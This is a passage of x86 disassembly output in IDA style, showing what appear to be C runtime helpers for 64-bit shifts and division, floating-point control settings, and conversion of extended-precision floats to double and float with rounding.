loc_41B3C1 cmp eax, [esp+0Ch+arg_0] jbe short loc_41B3C1 loc_41B3B8: ; CODE XREF: sub_41B310+98j ; sub_41B310+9Ej dec esi sub eax, [esp+0Ch+arg_8] sbb edx, [esp+0Ch+arg_C] loc_41B3C1: ; CODE XREF: sub_41B310+A0j ; sub_41B310+A6j xor ebx, ebx loc_41B3C3: ; CODE XREF: sub_41B310+6Aj sub eax, [esp+0Ch+arg_0] sbb edx, [esp+0Ch+arg_4] dec ebp jns short loc_41B3D5 neg edx neg eax sbb edx, 0 loc_41B3D5: ; CODE XREF: sub_41B310+BCj mov ecx, edx mov edx, ebx mov ebx, ecx mov ecx, eax mov eax, esi dec edi jnz short loc_41B3E9 neg edx neg eax sbb edx, 0 loc_41B3E9: ; CODE XREF: sub_41B310+D0j pop ebp pop esi pop edi retn 10h sub_41B310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B3F0 proc near ; CODE XREF: sub_407BA0+15Fp ; sub_41A7BD+1EAp ... cmp cl, 40h jnb short loc_41B40A cmp cl, 20h jnb short loc_41B400 shrd eax, edx, cl shr edx, cl retn ; --------------------------------------------------------------------------- loc_41B400: ; CODE XREF: sub_41B3F0+8j mov eax, edx xor edx, edx and cl, 1Fh shr eax, cl retn ; --------------------------------------------------------------------------- loc_41B40A: ; CODE XREF: sub_41B3F0+3j xor eax, eax xor edx, edx retn sub_41B3F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B40F proc near ; CODE XREF: sub_41AE7B+Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_8] mov ecx, [ebp+arg_4] and eax, 0FFF7FFFFh and ecx, eax test ecx, 0FCF0FCE0h push esi jz short loc_41B459 push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_41B43D push esi push esi call sub_41CFB7 pop ecx pop ecx mov [edi], eax loc_41B43D: ; CODE XREF: sub_41B40F+21j call sub_40F7D4 push 16h pop edi push esi push esi push esi push esi push esi mov [eax], edi call sub_40CB08 add esp, 14h mov eax, edi pop edi jmp short loc_41B476 ; --------------------------------------------------------------------------- loc_41B459: ; CODE XREF: sub_41B40F+17j mov esi, [ebp+arg_0] test esi, esi push eax push [ebp+arg_4] jz short loc_41B46D call sub_41CFB7 mov [esi], eax jmp short loc_41B472 ; --------------------------------------------------------------------------- loc_41B46D: ; CODE XREF: sub_41B40F+53j call sub_41CFB7 loc_41B472: ; CODE XREF: sub_41B40F+5Cj pop ecx pop ecx xor eax, eax loc_41B476: ; CODE XREF: sub_41B40F+48j pop esi pop ebp retn sub_41B40F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B479 proc near ; CODE XREF: sub_41AFBD+44p var_2C = byte ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] movzx ecx, word ptr [eax+0Ah] push ebx mov ebx, ecx and ecx, 8000h mov [ebp+var_14], ecx mov ecx, [eax+6] mov [ebp+var_20], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] and ebx, 7FFFh sub ebx, 3FFFh shl eax, 10h cmp ebx, 0FFFFC001h push edi mov [ebp+var_1C], ecx mov [ebp+var_18], eax jnz short loc_41B4E3 xor ebx, ebx xor eax, eax loc_41B4C0: ; CODE XREF: sub_41B479+51j cmp [ebp+eax*4+var_20], ebx jnz short loc_41B4D3 inc eax cmp eax, 3 jl short loc_41B4C0 xor eax, eax jmp loc_41B978 ; --------------------------------------------------------------------------- loc_41B4D3: ; CODE XREF: sub_41B479+4Bj xor eax, eax lea edi, [ebp+var_20] stosd stosd push 2 stosd pop eax jmp loc_41B978 ; --------------------------------------------------------------------------- loc_41B4E3: ; CODE XREF: sub_41B479+41j and [ebp+arg_0], 0 push esi lea esi, [ebp+var_20] lea edi, [ebp+var_2C] movsd movsd movsd mov esi, dword_424218 dec esi lea ecx, [esi+1] mov eax, ecx cdq and edx, 1Fh add eax, edx sar eax, 5 mov edx, ecx and edx, 8000001Fh mov [ebp+var_10], ebx mov [ebp+var_C], eax jns short loc_41B51B dec edx or edx, 0FFFFFFE0h inc edx loc_41B51B: ; CODE XREF: sub_41B479+9Bj lea edi, [ebp+eax*4+var_20] push 1Fh xor eax, eax pop ecx sub ecx, edx inc eax shl eax, cl mov [ebp+var_8], ecx test [edi], eax jz loc_41B5C1 mov eax, [ebp+var_C] or edx, 0FFFFFFFFh shl edx, cl not edx test [ebp+eax*4+var_20], edx jmp short loc_41B549 ; --------------------------------------------------------------------------- loc_41B544: ; CODE XREF: sub_41B479+D6j cmp [ebp+eax*4+var_20], 0 loc_41B549: ; CODE XREF: sub_41B479+C9j jnz short loc_41B553 inc eax cmp eax, 3 jl short loc_41B544 jmp short loc_41B5C1 ; --------------------------------------------------------------------------- loc_41B553: ; CODE XREF: sub_41B479:loc_41B549j mov eax, esi cdq push 1Fh pop ecx and edx, ecx add eax, edx sar eax, 5 and esi, 8000001Fh jns short loc_41B56D dec esi or esi, 0FFFFFFE0h inc esi loc_41B56D: ; CODE XREF: sub_41B479+EDj and [ebp+var_4], 0 sub ecx, esi xor edx, edx inc edx shl edx, cl lea ecx, [ebp+eax*4+var_20] mov esi, [ecx] add esi, edx mov [ebp+arg_0], esi mov esi, [ecx] cmp [ebp+arg_0], esi jb short loc_41B5AC cmp [ebp+arg_0], edx jmp short loc_41B5AA ; --------------------------------------------------------------------------- loc_41B58F: ; CODE XREF: sub_41B479+143j test ecx, ecx jz short loc_41B5BE and [ebp+var_4], 0 lea ecx, [ebp+eax*4+var_20] mov edx, [ecx] lea esi, [edx+1] cmp esi, edx mov [ebp+arg_0], esi jb short loc_41B5AC cmp esi, 1 loc_41B5AA: ; CODE XREF: sub_41B479+114j jnb short loc_41B5B3 loc_41B5AC: ; CODE XREF: sub_41B479+10Fj ; sub_41B479+12Cj mov [ebp+var_4], 1 loc_41B5B3: ; CODE XREF: sub_41B479:loc_41B5AAj dec eax mov edx, [ebp+arg_0] mov [ecx], edx mov ecx, [ebp+var_4] jns short loc_41B58F loc_41B5BE: ; CODE XREF: sub_41B479+118j mov [ebp+arg_0], ecx loc_41B5C1: ; CODE XREF: sub_41B479+B5j ; sub_41B479+D8j mov ecx, [ebp+var_8] or eax, 0FFFFFFFFh shl eax, cl and [edi], eax mov eax, [ebp+var_C] inc eax cmp eax, 3 jge short loc_41B5E1 push 3 pop ecx lea edi, [ebp+eax*4+var_20] sub ecx, eax xor eax, eax rep stosd loc_41B5E1: ; CODE XREF: sub_41B479+159j cmp [ebp+arg_0], 0 jz short loc_41B5E8 inc ebx loc_41B5E8: ; CODE XREF: sub_41B479+16Cj mov eax, dword_424214 mov ecx, eax sub ecx, dword_424218 cmp ebx, ecx jge short loc_41B606 xor eax, eax lea edi, [ebp+var_20] stosd stosd stosd jmp loc_41B813 ; --------------------------------------------------------------------------- loc_41B606: ; CODE XREF: sub_41B479+17Ej cmp ebx, eax jg loc_41B81D sub eax, [ebp+var_10] lea esi, [ebp+var_2C] mov ecx, eax lea edi, [ebp+var_20] movsd cdq and edx, 1Fh add eax, edx movsd mov edx, ecx sar eax, 5 and edx, 8000001Fh movsd jns short loc_41B634 dec edx or edx, 0FFFFFFE0h inc edx loc_41B634: ; CODE XREF: sub_41B479+1B4j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_41B64F: ; CODE XREF: sub_41B479+201j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_41B64F mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41B689: ; CODE XREF: sub_41B479+227j cmp edx, eax jl short loc_41B695 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41B69A ; --------------------------------------------------------------------------- loc_41B695: ; CODE XREF: sub_41B479+212j and [ebp+edx*4+var_20], 0 loc_41B69A: ; CODE XREF: sub_41B479+21Aj dec edx sub ecx, 4 test edx, edx jge short loc_41B689 mov esi, dword_424218 dec esi lea ecx, [esi+1] mov eax, ecx cdq and edx, 1Fh add eax, edx sar eax, 5 mov edx, ecx and edx, 8000001Fh mov [ebp+var_C], eax jns short loc_41B6C9 dec edx or edx, 0FFFFFFE0h inc edx loc_41B6C9: ; CODE XREF: sub_41B479+249j push 1Fh pop ecx sub ecx, edx xor edx, edx inc edx shl edx, cl lea ebx, [ebp+eax*4+var_20] mov [ebp+var_10], ecx test [ebx], edx jz loc_41B764 or edx, 0FFFFFFFFh shl edx, cl not edx test [ebp+eax*4+var_20], edx jmp short loc_41B6F4 ; --------------------------------------------------------------------------- loc_41B6EF: ; CODE XREF: sub_41B479+281j cmp [ebp+eax*4+var_20], 0 loc_41B6F4: ; CODE XREF: sub_41B479+274j jnz short loc_41B6FE inc eax cmp eax, 3 jl short loc_41B6EF jmp short loc_41B764 ; --------------------------------------------------------------------------- loc_41B6FE: ; CODE XREF: sub_41B479:loc_41B6F4j mov eax, esi cdq push 1Fh pop ecx and edx, ecx add eax, edx sar eax, 5 and esi, 8000001Fh jns short loc_41B718 dec esi or esi, 0FFFFFFE0h inc esi loc_41B718: ; CODE XREF: sub_41B479+298j and [ebp+arg_0], 0 xor edx, edx sub ecx, esi inc edx shl edx, cl lea ecx, [ebp+eax*4+var_20] mov esi, [ecx] lea edi, [esi+edx] cmp edi, esi jb short loc_41B734 cmp edi, edx jnb short loc_41B73B loc_41B734: ; CODE XREF: sub_41B479+2B5j mov [ebp+arg_0], 1 loc_41B73B: ; CODE XREF: sub_41B479+2B9j mov [ecx], edi mov ecx, [ebp+arg_0] jmp short loc_41B761 ; --------------------------------------------------------------------------- loc_41B742: ; CODE XREF: sub_41B479+2E9j test ecx, ecx jz short loc_41B764 lea ecx, [ebp+eax*4+var_20] mov edx, [ecx] lea esi, [edx+1] xor edi, edi cmp esi, edx jb short loc_41B75A cmp esi, 1 jnb short loc_41B75D loc_41B75A: ; CODE XREF: sub_41B479+2DAj xor edi, edi inc edi loc_41B75D: ; CODE XREF: sub_41B479+2DFj mov [ecx], esi mov ecx, edi loc_41B761: ; CODE XREF: sub_41B479+2C7j dec eax jns short loc_41B742 loc_41B764: ; CODE XREF: sub_41B479+263j ; sub_41B479+283j ... mov ecx, [ebp+var_10] or eax, 0FFFFFFFFh shl eax, cl and [ebx], eax mov eax, [ebp+var_C] inc eax cmp eax, 3 jge short loc_41B784 push 3 pop ecx lea edi, [ebp+eax*4+var_20] sub ecx, eax xor eax, eax rep stosd loc_41B784: ; CODE XREF: sub_41B479+2FCj mov ecx, dword_42421C inc ecx mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_41B7A5 dec edx or edx, 0FFFFFFE0h inc edx loc_41B7A5: ; CODE XREF: sub_41B479+325j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_41B7C0: ; CODE XREF: sub_41B479+372j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_41B7C0 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41B7FA: ; CODE XREF: sub_41B479+398j cmp edx, eax jl short loc_41B806 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41B80B ; --------------------------------------------------------------------------- loc_41B806: ; CODE XREF: sub_41B479+383j and [ebp+edx*4+var_20], 0 loc_41B80B: ; CODE XREF: sub_41B479+38Bj dec edx sub ecx, 4 test edx, edx jge short loc_41B7FA loc_41B813: ; CODE XREF: sub_41B479+188j push 2 xor ebx, ebx pop eax jmp loc_41B977 ; --------------------------------------------------------------------------- loc_41B81D: ; CODE XREF: sub_41B479+18Fj cmp ebx, dword_424210 mov ecx, dword_42421C jl loc_41B8DC xor eax, eax lea edi, [ebp+var_20] stosd stosd stosd or [ebp+var_20], 80000000h mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_41B858 dec edx or edx, 0FFFFFFE0h inc edx loc_41B858: ; CODE XREF: sub_41B479+3D8j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_41B873: ; CODE XREF: sub_41B479+425j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_41B873 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41B8AD: ; CODE XREF: sub_41B479+44Bj cmp edx, eax jl short loc_41B8B9 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41B8BE ; --------------------------------------------------------------------------- loc_41B8B9: ; CODE XREF: sub_41B479+436j and [ebp+edx*4+var_20], 0 loc_41B8BE: ; CODE XREF: sub_41B479+43Ej dec edx sub ecx, 4 test edx, edx jge short loc_41B8AD mov eax, dword_424210 mov ecx, dword_424224 lea ebx, [ecx+eax] xor eax, eax inc eax jmp loc_41B977 ; --------------------------------------------------------------------------- loc_41B8DC: ; CODE XREF: sub_41B479+3B0j mov eax, dword_424224 and [ebp+var_20], 7FFFFFFFh add ebx, eax mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_41B904 dec edx or edx, 0FFFFFFE0h inc edx loc_41B904: ; CODE XREF: sub_41B479+484j and [ebp+var_C], 0 and [ebp+arg_0], 0 or esi, 0FFFFFFFFh mov ecx, edx shl esi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not esi loc_41B91F: ; CODE XREF: sub_41B479+4D4j mov ecx, [ebp+arg_0] mov edi, [ebp+ecx*4+var_20] mov ecx, edi and ecx, esi mov [ebp+var_10], ecx mov ecx, edx shr edi, cl mov ecx, [ebp+arg_0] or edi, [ebp+var_C] mov [ebp+ecx*4+var_20], edi mov edi, [ebp+var_10] mov ecx, [ebp+var_4] shl edi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], edi jl short loc_41B91F mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41B95C: ; CODE XREF: sub_41B479+4FAj cmp edx, eax jl short loc_41B968 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41B96D ; --------------------------------------------------------------------------- loc_41B968: ; CODE XREF: sub_41B479+4E5j and [ebp+edx*4+var_20], 0 loc_41B96D: ; CODE XREF: sub_41B479+4EDj dec edx sub ecx, 4 test edx, edx jge short loc_41B95C xor eax, eax loc_41B977: ; CODE XREF: sub_41B479+39Fj ; sub_41B479+45Ej pop esi loc_41B978: ; CODE XREF: sub_41B479+55j ; sub_41B479+65j push 1Fh pop ecx sub ecx, dword_42421C shl ebx, cl mov ecx, [ebp+var_14] neg ecx sbb ecx, ecx and ecx, 80000000h or ebx, ecx mov ecx, dword_424220 or ebx, [ebp+var_20] cmp ecx, 40h jnz short loc_41B9AD mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], ebx mov [ecx], edx jmp short loc_41B9B7 ; --------------------------------------------------------------------------- loc_41B9AD: ; CODE XREF: sub_41B479+525j cmp ecx, 20h jnz short loc_41B9B7 mov ecx, [ebp+arg_4] mov [ecx], ebx loc_41B9B7: ; CODE XREF: sub_41B479+532j ; sub_41B479+537j pop edi pop ebx leave retn sub_41B479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9BB proc near ; CODE XREF: sub_41B063+44p var_2C = byte ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] movzx ecx, word ptr [eax+0Ah] push ebx mov ebx, ecx and ecx, 8000h mov [ebp+var_14], ecx mov ecx, [eax+6] mov [ebp+var_20], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] and ebx, 7FFFh sub ebx, 3FFFh shl eax, 10h cmp ebx, 0FFFFC001h push edi mov [ebp+var_1C], ecx mov [ebp+var_18], eax jnz short loc_41BA25 xor ebx, ebx xor eax, eax loc_41BA02: ; CODE XREF: sub_41B9BB+51j cmp [ebp+eax*4+var_20], ebx jnz short loc_41BA15 inc eax cmp eax, 3 jl short loc_41BA02 xor eax, eax jmp loc_41BEBA ; --------------------------------------------------------------------------- loc_41BA15: ; CODE XREF: sub_41B9BB+4Bj xor eax, eax lea edi, [ebp+var_20] stosd stosd push 2 stosd pop eax jmp loc_41BEBA ; --------------------------------------------------------------------------- loc_41BA25: ; CODE XREF: sub_41B9BB+41j and [ebp+arg_0], 0 push esi lea esi, [ebp+var_20] lea edi, [ebp+var_2C] movsd movsd movsd mov esi, dword_424230 dec esi lea ecx, [esi+1] mov eax, ecx cdq and edx, 1Fh add eax, edx sar eax, 5 mov edx, ecx and edx, 8000001Fh mov [ebp+var_10], ebx mov [ebp+var_C], eax jns short loc_41BA5D dec edx or edx, 0FFFFFFE0h inc edx loc_41BA5D: ; CODE XREF: sub_41B9BB+9Bj lea edi, [ebp+eax*4+var_20] push 1Fh xor eax, eax pop ecx sub ecx, edx inc eax shl eax, cl mov [ebp+var_8], ecx test [edi], eax jz loc_41BB03 mov eax, [ebp+var_C] or edx, 0FFFFFFFFh shl edx, cl not edx test [ebp+eax*4+var_20], edx jmp short loc_41BA8B ; --------------------------------------------------------------------------- loc_41BA86: ; CODE XREF: sub_41B9BB+D6j cmp [ebp+eax*4+var_20], 0 loc_41BA8B: ; CODE XREF: sub_41B9BB+C9j jnz short loc_41BA95 inc eax cmp eax, 3 jl short loc_41BA86 jmp short loc_41BB03 ; --------------------------------------------------------------------------- loc_41BA95: ; CODE XREF: sub_41B9BB:loc_41BA8Bj mov eax, esi cdq push 1Fh pop ecx and edx, ecx add eax, edx sar eax, 5 and esi, 8000001Fh jns short loc_41BAAF dec esi or esi, 0FFFFFFE0h inc esi loc_41BAAF: ; CODE XREF: sub_41B9BB+EDj and [ebp+var_4], 0 sub ecx, esi xor edx, edx inc edx shl edx, cl lea ecx, [ebp+eax*4+var_20] mov esi, [ecx] add esi, edx mov [ebp+arg_0], esi mov esi, [ecx] cmp [ebp+arg_0], esi jb short loc_41BAEE cmp [ebp+arg_0], edx jmp short loc_41BAEC ; --------------------------------------------------------------------------- loc_41BAD1: ; CODE XREF: sub_41B9BB+143j test ecx, ecx jz short loc_41BB00 and [ebp+var_4], 0 lea ecx, [ebp+eax*4+var_20] mov edx, [ecx] lea esi, [edx+1] cmp esi, edx mov [ebp+arg_0], esi jb short loc_41BAEE cmp esi, 1 loc_41BAEC: ; CODE XREF: sub_41B9BB+114j jnb short loc_41BAF5 loc_41BAEE: ; CODE XREF: sub_41B9BB+10Fj ; sub_41B9BB+12Cj mov [ebp+var_4], 1 loc_41BAF5: ; CODE XREF: sub_41B9BB:loc_41BAECj dec eax mov edx, [ebp+arg_0] mov [ecx], edx mov ecx, [ebp+var_4] jns short loc_41BAD1 loc_41BB00: ; CODE XREF: sub_41B9BB+118j mov [ebp+arg_0], ecx loc_41BB03: ; CODE XREF: sub_41B9BB+B5j ; sub_41B9BB+D8j mov ecx, [ebp+var_8] or eax, 0FFFFFFFFh shl eax, cl and [edi], eax mov eax, [ebp+var_C] inc eax cmp eax, 3 jge short loc_41BB23 push 3 pop ecx lea edi, [ebp+eax*4+var_20] sub ecx, eax xor eax, eax rep stosd loc_41BB23: ; CODE XREF: sub_41B9BB+159j cmp [ebp+arg_0], 0 jz short loc_41BB2A inc ebx loc_41BB2A: ; CODE XREF: sub_41B9BB+16Cj mov eax, dword_42422C mov ecx, eax sub ecx, dword_424230 cmp ebx, ecx jge short loc_41BB48 xor eax, eax lea edi, [ebp+var_20] stosd stosd stosd jmp loc_41BD55 ; --------------------------------------------------------------------------- loc_41BB48: ; CODE XREF: sub_41B9BB+17Ej cmp ebx, eax jg loc_41BD5F sub eax, [ebp+var_10] lea esi, [ebp+var_2C] mov ecx, eax lea edi, [ebp+var_20] movsd cdq and edx, 1Fh add eax, edx movsd mov edx, ecx sar eax, 5 and edx, 8000001Fh movsd jns short loc_41BB76 dec edx or edx, 0FFFFFFE0h inc edx loc_41BB76: ; CODE XREF: sub_41B9BB+1B4j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_41BB91: ; CODE XREF: sub_41B9BB+201j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_41BB91 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41BBCB: ; CODE XREF: sub_41B9BB+227j cmp edx, eax jl short loc_41BBD7 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41BBDC ; --------------------------------------------------------------------------- loc_41BBD7: ; CODE XREF: sub_41B9BB+212j and [ebp+edx*4+var_20], 0 loc_41BBDC: ; CODE XREF: sub_41B9BB+21Aj dec edx sub ecx, 4 test edx, edx jge short loc_41BBCB mov esi, dword_424230 dec esi lea ecx, [esi+1] mov eax, ecx cdq and edx, 1Fh add eax, edx sar eax, 5 mov edx, ecx and edx, 8000001Fh mov [ebp+var_C], eax jns short loc_41BC0B dec edx or edx, 0FFFFFFE0h inc edx loc_41BC0B: ; CODE XREF: sub_41B9BB+249j push 1Fh pop ecx sub ecx, edx xor edx, edx inc edx shl edx, cl lea ebx, [ebp+eax*4+var_20] mov [ebp+var_10], ecx test [ebx], edx jz loc_41BCA6 or edx, 0FFFFFFFFh shl edx, cl not edx test [ebp+eax*4+var_20], edx jmp short loc_41BC36 ; --------------------------------------------------------------------------- loc_41BC31: ; CODE XREF: sub_41B9BB+281j cmp [ebp+eax*4+var_20], 0 loc_41BC36: ; CODE XREF: sub_41B9BB+274j jnz short loc_41BC40 inc eax cmp eax, 3 jl short loc_41BC31 jmp short loc_41BCA6 ; --------------------------------------------------------------------------- loc_41BC40: ; CODE XREF: sub_41B9BB:loc_41BC36j mov eax, esi cdq push 1Fh pop ecx and edx, ecx add eax, edx sar eax, 5 and esi, 8000001Fh jns short loc_41BC5A dec esi or esi, 0FFFFFFE0h inc esi loc_41BC5A: ; CODE XREF: sub_41B9BB+298j and [ebp+arg_0], 0 xor edx, edx sub ecx, esi inc edx shl edx, cl lea ecx, [ebp+eax*4+var_20] mov esi, [ecx] lea edi, [esi+edx] cmp edi, esi jb short loc_41BC76 cmp edi, edx jnb short loc_41BC7D loc_41BC76: ; CODE XREF: sub_41B9BB+2B5j mov [ebp+arg_0], 1 loc_41BC7D: ; CODE XREF: sub_41B9BB+2B9j mov [ecx], edi mov ecx, [ebp+arg_0] jmp short loc_41BCA3 ; --------------------------------------------------------------------------- loc_41BC84: ; CODE XREF: sub_41B9BB+2E9j test ecx, ecx jz short loc_41BCA6 lea ecx, [ebp+eax*4+var_20] mov edx, [ecx] lea esi, [edx+1] xor edi, edi cmp esi, edx jb short loc_41BC9C cmp esi, 1 jnb short loc_41BC9F loc_41BC9C: ; CODE XREF: sub_41B9BB+2DAj xor edi, edi inc edi loc_41BC9F: ; CODE XREF: sub_41B9BB+2DFj mov [ecx], esi mov ecx, edi loc_41BCA3: ; CODE XREF: sub_41B9BB+2C7j dec eax jns short loc_41BC84 loc_41BCA6: ; CODE XREF: sub_41B9BB+263j ; sub_41B9BB+283j ... mov ecx, [ebp+var_10] or eax, 0FFFFFFFFh shl eax, cl and [ebx], eax mov eax, [ebp+var_C] inc eax cmp eax, 3 jge short loc_41BCC6 push 3 pop ecx lea edi, [ebp+eax*4+var_20] sub ecx, eax xor eax, eax rep stosd loc_41BCC6: ; CODE XREF: sub_41B9BB+2FCj mov ecx, dword_424234 inc ecx mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_41BCE7 dec edx or edx, 0FFFFFFE0h inc edx loc_41BCE7: ; CODE XREF: sub_41B9BB+325j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_41BD02: ; CODE XREF: sub_41B9BB+372j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_41BD02 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41BD3C: ; CODE XREF: sub_41B9BB+398j cmp edx, eax jl short loc_41BD48 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41BD4D ; --------------------------------------------------------------------------- loc_41BD48: ; CODE XREF: sub_41B9BB+383j and [ebp+edx*4+var_20], 0 loc_41BD4D: ; CODE XREF: sub_41B9BB+38Bj dec edx sub ecx, 4 test edx, edx jge short loc_41BD3C loc_41BD55: ; CODE XREF: sub_41B9BB+188j push 2 xor ebx, ebx pop eax jmp loc_41BEB9 ; --------------------------------------------------------------------------- loc_41BD5F: ; CODE XREF: sub_41B9BB+18Fj cmp ebx, dword_424228 mov ecx, dword_424234 jl loc_41BE1E xor eax, eax lea edi, [ebp+var_20] stosd stosd stosd or [ebp+var_20], 80000000h mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_41BD9A dec edx or edx, 0FFFFFFE0h inc edx loc_41BD9A: ; CODE XREF: sub_41B9BB+3D8j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_41BDB5: ; CODE XREF: sub_41B9BB+425j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_41BDB5 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41BDEF: ; CODE XREF: sub_41B9BB+44Bj cmp edx, eax jl short loc_41BDFB mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41BE00 ; --------------------------------------------------------------------------- loc_41BDFB: ; CODE XREF: sub_41B9BB+436j and [ebp+edx*4+var_20], 0 loc_41BE00: ; CODE XREF: sub_41B9BB+43Ej dec edx sub ecx, 4 test edx, edx jge short loc_41BDEF mov eax, dword_424228 mov ecx, dword_42423C lea ebx, [ecx+eax] xor eax, eax inc eax jmp loc_41BEB9 ; --------------------------------------------------------------------------- loc_41BE1E: ; CODE XREF: sub_41B9BB+3B0j mov eax, dword_42423C and [ebp+var_20], 7FFFFFFFh add ebx, eax mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_41BE46 dec edx or edx, 0FFFFFFE0h inc edx loc_41BE46: ; CODE XREF: sub_41B9BB+484j and [ebp+var_C], 0 and [ebp+arg_0], 0 or esi, 0FFFFFFFFh mov ecx, edx shl esi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not esi loc_41BE61: ; CODE XREF: sub_41B9BB+4D4j mov ecx, [ebp+arg_0] mov edi, [ebp+ecx*4+var_20] mov ecx, edi and ecx, esi mov [ebp+var_10], 